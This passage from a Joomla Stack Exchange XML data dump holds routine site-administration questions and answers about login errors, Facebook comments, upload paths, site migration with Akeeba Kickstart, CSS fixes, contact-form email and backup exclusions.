(usermailvalid==false)&#xA;        {&#xA;            return false;                &#xA;        }&#xA;        else&#xA;        {&#xA;            return true;    &#xA;        }&#xA;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps someone.&lt;/p&gt;&#xA;" OwnerUserId="6924" LastActivityDate="2016-08-01T09:50:12.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17322" PostTypeId="1" CreationDate="2016-08-01T12:18:53.507" Score="1" ViewCount="296" Body="&lt;p&gt;Since update to version 3.6 when user tries to login with bad password he is not redirected to proper page (did you forget password? for example). Instead he gets an Error 500 message. Also when user logs out, the page isn't properly refreshed and user also gets Error 500. Any ideas what's happening? I can't see any of this errors in error log. A matter of fact I can't see any logs since the update. The path to log and temp seems proper. Tomorrow I am going to test this on my local environment to eliminate any server problems. I'll appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely, Thomas&lt;/p&gt;&#xA;" OwnerUserId="7690" LastActivityDate="2017-01-03T06:09:52.833" Title="Error 500 when bad password or user logout" Tags="|joomla-3.x|redirect|error-handling|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17326" PostTypeId="1" AcceptedAnswerId="17340" CreationDate="2016-08-02T10:29:05.673" Score="1" ViewCount="123" Body="&lt;p&gt;I am making a blogging website and planned to use Facebook comments rather than the native comment system.Used the following extensions to achieve this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;K2 blog&lt;/li&gt;&#xA;&lt;li&gt;SP comments for adding facebook comments.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Following are the 2 questions which are coming up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I get notification mail when someone posts a comment in the article?&lt;/li&gt;&#xA;&lt;li&gt;Most importantly, is it a good idea to implement facebook comments? or shall I go with native k2 comments? I chose facebook because my website is a simple one and thought this comment feature will allow fast commenting and social awareness.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-03T04:21:58.947" Title="Integration of Facebook Comments" Tags="|joomla-3.x|k2|facebook|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17327" PostTypeId="1" CreationDate="2016-08-02T11:45:40.520" Score="2" ViewCount="3219" Body="&lt;p&gt;I have 3 components related to newtoys, usedtoys and refurbishedtoys in which different article post and details been submitted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Image folder has 3 subdirectories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 image / newtoys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 image / usedtoys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 image / refurbishedtoys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now whenever we try uploading a image through joomla default editor in backend - it always shows in /image folder and manually ask in to choose folder to upload image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As its cumbersome to check and manually select in folder to upload image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the editor in each of the component by default shows in the respective folder automatically to upload the image, without any manual intervention&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the component of new toys - the media manager upload function should directly show in image / newtoys and save images in this directory, similar respective for other components too&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2020-01-09T22:53:52.613" Title="Set up Default Upload path for uploading image in Joomla Default Editor" Tags="|joomla-3.x|editor|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17328" PostTypeId="1" AcceptedAnswerId="17329" CreationDate="2016-08-02T12:11:53.970" Score="3" ViewCount="767" Body="&lt;p&gt;I recently updated Joomla and found that the database needed updating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MYH9F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MYH9F.png&quot; alt=&quot;Database problem needs fixing...&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to run the &quot;Fix&quot; by clicking on the button the frontend would then break with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error '/' in /home/&amp;lt;site&amp;gt;/public_html/plugins/system/nnframework/helpers/assignments/php.php(85) : runtime-created function on line 1&#xA;Fatal error: Function name must be a string in /home/&amp;lt;site&amp;gt;/public_html/plugins/system/nnframework/helpers/assignments/php.php on line 89&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another issue is that the template.css and template.js files in the backend seem to load incorrectly too - resulting in the page looking like a wall of text, links, buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what would cause this? Or how I can trace a way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="8527" LastEditorUserId="3650" LastEditDate="2016-08-03T15:28:56.377" LastActivityDate="2016-08-03T15:28:56.377" Title="Problem with NoNumber Framework after Updating and trying to Fix the Database" Tags="|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17329" PostTypeId="2" ParentId="17328" CreationDate="2016-08-02T12:24:33.703" Score="3" Body="&lt;p&gt;Update third party extensions to the latest versions if you're not already running the latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are running the latest versions of the Regular Labs (formerly called &quot;NoNumber&quot;) extensions, you can probably disable or remove the NoNumber Framework which may help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A scrambled back-end layout can sometimes be fixed by clearing the Joomla cache and your web browser cache.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-08-02T22:17:43.057" LastActivityDate="2016-08-02T22:17:43.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17330" PostTypeId="1" AcceptedAnswerId="17331" CreationDate="2016-08-02T12:45:56.670" Score="3" ViewCount="155" Body="&lt;p&gt;I am aware of the pre-flight that Joomla runs before installation to show what the settings and what might need to be changed. I develop websites on one server and then move them to a hosting service for the client. I'd like to run this same sort of pre-flight check on that Joomla installation to see if the configuration needs to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I do this now, is I quickly installed a new version of Joomla on the new hosting service, do the pre-flight, change the configurations and then remove this version of Joomla and install the one I built for the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to run the pre-flight check list which is already built-into every Joomla installation but from the command line?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2019-09-14T04:19:35.130" LastActivityDate="2019-09-14T04:19:35.130" Title="Pre-flight Joomla checklist extension for moving websites to a new server?" Tags="|joomla-3.x|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17331" PostTypeId="2" ParentId="17330" CreationDate="2016-08-02T16:05:52.083" Score="2" Body="&lt;p&gt;I assume you transfer your sites manually from development server to your client's server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; (free and paid version available) in combination with &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Kickstart&lt;/a&gt;, to transfer your site. The restoration script (ANGIE - Akeeba Next Generation Installation Engine) will show you the same information as the Joomla installer before you proceed with the installation of your backup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GArND.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GArND.jpg&quot; alt=&quot;ANGIE - Akeeba Next Generation Installer Engine&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(Sorry about the screenshot language, but you get the general idea...)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.akeebabackup.com/documentation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; is very good, but these are the basic steps to transfer your site:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Akeeba Backup on your development site, and take a full backup (this includes files and database by default).&lt;/li&gt;&#xA;&lt;li&gt;Move the backup file to the live server (&lt;em&gt;.jpa&lt;/em&gt; file type by default).&lt;/li&gt;&#xA;&lt;li&gt;Upload and extract Akeeba Kickstart (or at least the file &lt;code&gt;kickstart.php&lt;/code&gt;) to the live server, in the same folder as your backup file.&lt;br&gt;&#xA;&lt;em&gt;(Note that the pro version of Kickstart requires you to change the file name of &lt;code&gt;kickstart.php&lt;/code&gt; before you can run it)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;kickstart.php&lt;/code&gt; by visiting &lt;code&gt;http://YOURDOMAIN.COM/kickstart.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The script will extract your backup, and give you a link to the installer.&lt;/li&gt;&#xA;&lt;li&gt;Check the configuration shown and make changes as needed to your hosting environment.&lt;/li&gt;&#xA;&lt;li&gt;Follow the rest of the steps for restoring your backup, the interface is very similar to what the normal Joomla installer uses.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to manually check for PHP options using a custom script, take a look at the file &lt;code&gt;/installation/model/setup.php&lt;/code&gt; (from the Joomla installation package) at about line #230, the method &lt;code&gt;getPhpOtions()&lt;/code&gt; returns an array of PHP config options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getPhpOptions()&#xA;    {&#xA;        $options = array();&#xA;&#xA;        // Check the PHP Version.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::sprintf('INSTL_PHP_VERSION_NEWER', JOOMLA_MINIMUM_PHP);&#xA;        $option-&amp;gt;state  = version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '&amp;gt;=');&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for magic quotes gpc.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_MAGIC_QUOTES_GPC');&#xA;        $option-&amp;gt;state  = (ini_get('magic_quotes_gpc') == false);&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for register globals.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_REGISTER_GLOBALS');&#xA;        $option-&amp;gt;state  = (ini_get('register_globals') == false);&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for zlib support.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_ZLIB_COMPRESSION_SUPPORT');&#xA;        $option-&amp;gt;state  = extension_loaded('zlib');&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for XML support.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_XML_SUPPORT');&#xA;        $option-&amp;gt;state  = extension_loaded('xml');&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for database support.&#xA;        // We are satisfied if there is at least one database driver available.&#xA;        $available = JDatabaseDriver::getConnectors();&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_DATABASE_SUPPORT');&#xA;        $option-&amp;gt;label .= '&amp;lt;br /&amp;gt;(' . implode(', ', $available) . ')';&#xA;        $option-&amp;gt;state  = count($available);&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for mbstring options.&#xA;        if (extension_loaded('mbstring'))&#xA;        {&#xA;            // Check for default MB language.&#xA;            $option = new stdClass;&#xA;            $option-&amp;gt;label  = JText::_('INSTL_MB_LANGUAGE_IS_DEFAULT');&#xA;            $option-&amp;gt;state  = (strtolower(ini_get('mbstring.language')) == 'neutral');&#xA;            $option-&amp;gt;notice = ($option-&amp;gt;state) ? null : JText::_('INSTL_NOTICEMBLANGNOTDEFAULT');&#xA;            $options[] = $option;&#xA;&#xA;            // Check for MB function overload.&#xA;            $option = new stdClass;&#xA;            $option-&amp;gt;label  = JText::_('INSTL_MB_STRING_OVERLOAD_OFF');&#xA;            $option-&amp;gt;state  = (ini_get('mbstring.func_overload') == 0);&#xA;            $option-&amp;gt;notice = ($option-&amp;gt;state) ? null : JText::_('INSTL_NOTICEMBSTRINGOVERLOAD');&#xA;            $options[] = $option;&#xA;        }&#xA;&#xA;        // Check for a missing native parse_ini_file implementation.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_PARSE_INI_FILE_AVAILABLE');&#xA;        $option-&amp;gt;state  = $this-&amp;gt;getIniParserAvailability();&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for missing native json_encode / json_decode support.&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_JSON_SUPPORT_AVAILABLE');&#xA;        $option-&amp;gt;state  = function_exists('json_encode') &amp;amp;&amp;amp; function_exists('json_decode');&#xA;        $option-&amp;gt;notice = null;&#xA;        $options[] = $option;&#xA;&#xA;        // Check for mcrypt support&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::_('INSTL_MCRYPT_SUPPORT_AVAILABLE');&#xA;        $option-&amp;gt;state  = is_callable('mcrypt_encrypt');&#xA;        $option-&amp;gt;notice = $option-&amp;gt;state ? null : JText::_('INSTL_NOTICEMCRYPTNOTAVAILABLE');&#xA;        $options[] = $option;&#xA;&#xA;        // Check for configuration file writable.&#xA;        $writable = (is_writable(JPATH_CONFIGURATION . '/configuration.php')&#xA;            || (!file_exists(JPATH_CONFIGURATION . '/configuration.php') &amp;amp;&amp;amp; is_writable(JPATH_ROOT)));&#xA;&#xA;        $option = new stdClass;&#xA;        $option-&amp;gt;label  = JText::sprintf('INSTL_WRITABLE', 'configuration.php');&#xA;        $option-&amp;gt;state  = $writable;&#xA;        $option-&amp;gt;notice = ($option-&amp;gt;state) ? null : JText::_('INSTL_NOTICEYOUCANSTILLINSTALL');&#xA;        $options[] = $option;&#xA;&#xA;        return $options;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2016-08-03T16:38:26.053" LastActivityDate="2016-08-03T16:38:26.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17332" PostTypeId="1" AcceptedAnswerId="17333" CreationDate="2016-08-02T16:51:24.330" Score="0" ViewCount="148" Body="&lt;p&gt;I'm trying to build a web site (&lt;a href=&quot;http://idevsky.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://idevsky.com&lt;/a&gt;) with a video background on my homepage. Right now it's just a test site to see how it's working. The size of the video might be too large, but it doesn't matter. Even if it's not running, you can see it as a still image all the way down to the site's footer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish the Google Map and a Footer section were opaque (non transparent). I attached a print screen of the bottom of my homepage. As you can see, it really bothers to distinguish stuff while having a background like this. I want it to be white. Same way it's above Google Map where there's an article on the homepage. You can't see through it and you don't see the video, just white background. Same way I want it to be below the article (all the way down the page to its very end).&lt;a href=&quot;https://i.stack.imgur.com/wgcLa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgcLa.jpg&quot; alt=&quot;     A print screen of the section I want to be non-transparent (opaque)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="1629" LastEditDate="2016-08-02T17:14:06.657" LastActivityDate="2016-08-02T17:14:06.657" Title="How to make Google Maps and footer not transparent?" Tags="|joomla-3.x|css|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17333" PostTypeId="2" ParentId="17332" CreationDate="2016-08-02T17:12:42.440" Score="0" Body="&lt;p&gt;You can try adding the following CSS to your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#map {&#xA;    background: #fff!important;&#xA;    opacity: 1!important;&#xA;}&#xA;&#xA;.bottom-d-outer {&#xA;    background-color: #000!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should make the Google map background white, and the footer background black. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-02T17:12:42.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17334" PostTypeId="1" CreationDate="2016-08-02T20:44:59.140" Score="0" ViewCount="3502" Body="&lt;p&gt;I am running Joomla hosted on a server with &lt;strong&gt;sendmail&lt;/strong&gt; installed.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The PHP mail and sendmail are working perfectly; I tested them. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The configuration for the mail in Joomla is correct (the info in which you can navigate by going to Site -&gt; Server).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The contact info is correct -- the email domain is the same as the site domain.&lt;/li&gt;&#xA;&lt;li&gt;I tried setting &quot;custom reply&quot; to &quot;No&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I tried using &quot;List all contact categories&quot; and &quot;Single contact&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, I can't make the contact form work. I'm not receiving any emails despite a message that says it has been sent succesfully.&lt;/p&gt;&#xA;" OwnerUserId="8800" LastEditorUserId="12352" LastEditDate="2018-08-14T07:56:46.577" LastActivityDate="2024-03-18T00:06:30.823" Title="Not receiving emails sent from contact form" Tags="|joomla-3.6|emails|contact|contact-form|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17335" PostTypeId="1" AcceptedAnswerId="17375" CreationDate="2016-08-02T21:10:41.270" Score="3" ViewCount="611" Body="&lt;p&gt;This might be a very silly question but google is not helping me. What I would like is to add the 'read more' attribute to a picture in my article. I have no clue how I should go about this, or where to start. I hope someone can give me some directions&lt;/p&gt;&#xA;" OwnerUserId="8462" LastActivityDate="2016-08-04T18:51:26.720" Title="Picture in article as Read More-link" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17336" PostTypeId="1" CreationDate="2016-08-03T00:15:03.643" Score="0" ViewCount="34" Body="&lt;p&gt;I'm trying to customize my Joomla 3 template and I'm kinda stuck with an issue I don't know exactly how to resolve. There're two margins just above and just below Google Maps on homepage. And what happens is that video background is visible in those stripes.&#xA;I was told that I had the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;map&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside of a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to remove those&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because they have a margin. Meaning not to touch the div itself and also not to delete what's within those tags, just to delete the tags. It's all nice, but I don't have a clue where to find it, in which specific file. Here's the live site URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;idevsky.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'm attaching a print screen in which I drew two red arrows to show exactly what I meant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GU8VB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GU8VB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="7161" LastEditDate="2016-08-03T02:14:15.913" LastActivityDate="2016-08-03T13:39:07.543" Title="How to get rid of those two tranparent stripes above and below Google Maps?" Tags="|joomla-3.x|css|fix-my-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17337" PostTypeId="2" ParentId="17335" CreationDate="2016-08-03T04:12:27.943" Score="1" Body="&lt;p&gt;If you want the 'read more' to appear not in text but over a graphic, you'd need to create CSS for that. I've seen this done with sliders, a Joomla extension like those from Shape5 where the text appears over the graphic. You could examine that for how the CSS for it is done and apply it to your situation. &lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2016-08-03T04:12:27.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17338" PostTypeId="2" ParentId="17334" CreationDate="2016-08-03T04:14:49.813" Score="0" Body="&lt;p&gt;For contact forms, I ended up using &lt;strong&gt;RSJoomla Pro&lt;/strong&gt; to do this. It makes building the form easy and it handles the e-mail issues too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, contact support with your web hosting service and verify the settings in the Global Configurations, because sometimes they change the port or other options and then need to be tweaked in order to get e-mail to work properly.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="12352" LastEditDate="2018-08-14T07:56:06.847" LastActivityDate="2018-08-14T07:56:06.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17339" PostTypeId="2" ParentId="17327" CreationDate="2016-08-03T04:18:01.063" Score="1" Body="&lt;p&gt;You don't have to go through the back-end of Joomla to populate the Media area. You can use FTP (or sftp) and simply transfer the files over that way. Or if you are using a CPANEL through the file manager. I'm using Joomla 3.6.0 and unless something has changed, what files in Media are not part of the MySQL database so you should be able to add files without going through Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some hosting services, you can mount the account on your Desktop and then drag and drop the files to the Media area.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2016-08-03T04:18:01.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17340" PostTypeId="2" ParentId="17326" CreationDate="2016-08-03T04:21:58.947" Score="2" Body="&lt;p&gt;My opinion is to use Facebook, because then the comments are more widely shared if that's your objection. If the comments are in K2, they will remain just there and can only be seen by visitors to your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For getting notifications, you'd have to rely on whatever is provided from Facebook to do that. I'm assuming you are settings up a Facebook Fan page for your website, so in that account you should be able to get notifications sent to you from Facebook each time there is a comment if that's what you want. With a busy website, you could end up with a flood of message notification each day. Thought I would mention that so you are prepared.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2016-08-03T04:21:58.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17342" PostTypeId="2" ParentId="17316" CreationDate="2016-08-03T04:35:09.857" Score="2" Body="&lt;p&gt;There is a difference between adding a Menu and editing a Menu Item.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2016-08-03T04:35:09.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17343" PostTypeId="2" ParentId="17314" CreationDate="2016-08-03T04:39:34.693" Score="3" Body="&lt;p&gt;I recommend you first make sure the new hosting service can support Joomla. Download a fresh copy of Joomla which is currently version 3.6.0, and install it with the sample data. If you get that working, then you know it is something that was over looked in the configuration in the transfer.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2016-08-03T04:39:34.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17346" PostTypeId="1" AcceptedAnswerId="17347" CreationDate="2016-08-03T08:58:31.270" Score="7" ViewCount="215" Body="&lt;p&gt;i have a folder named &quot;download&quot; in public-Html folder. all downloadable files on my site, is in it. &#xA;when i backup my site with Akeebabackup, this folder makes my backup file Biiiig.&#xA;what should i do if i don't this folder being contained in my Akeebabackup file?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="3650" LastEditDate="2016-08-03T15:24:59.877" LastActivityDate="2019-03-30T06:26:58.030" Title="Remove a folder for downloadable files to reduce the Akeeba backup file" Tags="|joomla-3.x|akeebabackup|backups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17347" PostTypeId="2" ParentId="17346" CreationDate="2016-08-03T09:10:27.773" Score="8" Body="&lt;p&gt;In akeeba backup component there is an option to exclude the files or folders which you don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the akeeba backup setting &lt;strong&gt;Files and Directories Exclusion&lt;/strong&gt;, exclude the folder which you don't want and then run the backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for more info you can read this: &lt;a href=&quot;https://www.akeebabackup.com/documentation/akeeba-backup-documentation/exclude-data-from-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exclude data from the backup&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/videos/1212-akeeba-backup-core/1621-abtc07-excluding-large-files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is a video example.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="9471" LastEditDate="2019-03-30T06:26:58.030" LastActivityDate="2019-03-30T06:26:58.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17348" PostTypeId="2" ParentId="17346" CreationDate="2016-08-03T09:11:11.323" Score="4" Body="&lt;p&gt;In your Joomla admin panel, go to the&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Akeeba Backup component page&lt;/li&gt;&#xA;&lt;li&gt;Then click &quot;&lt;strong&gt;Files and Directories Exclusion&lt;/strong&gt;&quot;&lt;/li&gt;&#xA;&lt;li&gt;Then select the directory you wish to exclude by clicking the &quot;&lt;strong&gt;X&lt;/strong&gt;&quot; button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H2u4o.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2u4o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-08-03T10:26:00.317" LastActivityDate="2016-08-03T10:26:00.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17349" PostTypeId="2" ParentId="17322" CreationDate="2016-08-03T11:32:59.627" Score="0" Body="&lt;p&gt;Check your logs - specifically the ModSecurity log. It might be that there is a rule that is triggered when the redirect is taking place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, temporarily disable your .htaccess file and see if that helps.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-03T11:32:59.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17350" PostTypeId="2" ParentId="17336" CreationDate="2016-08-03T13:39:07.543" Score="1" Body="&lt;p&gt;In Joomla's Custom HTML module where original Google Maps code was, I had to change the old code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;&amp;lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1-bVo4tCI2bNdO1Ssj9CySDIWIJ0&quot; width=&quot;1360&quot; height=&quot;480&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this new one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;p style=&quot;margin:0;&quot;&amp;gt;&amp;lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1-bVo4tCI2bNdO1Ssj9CySDIWIJ0&quot; width=&quot;1360&quot; height=&quot;480&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-08-03T13:39:07.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
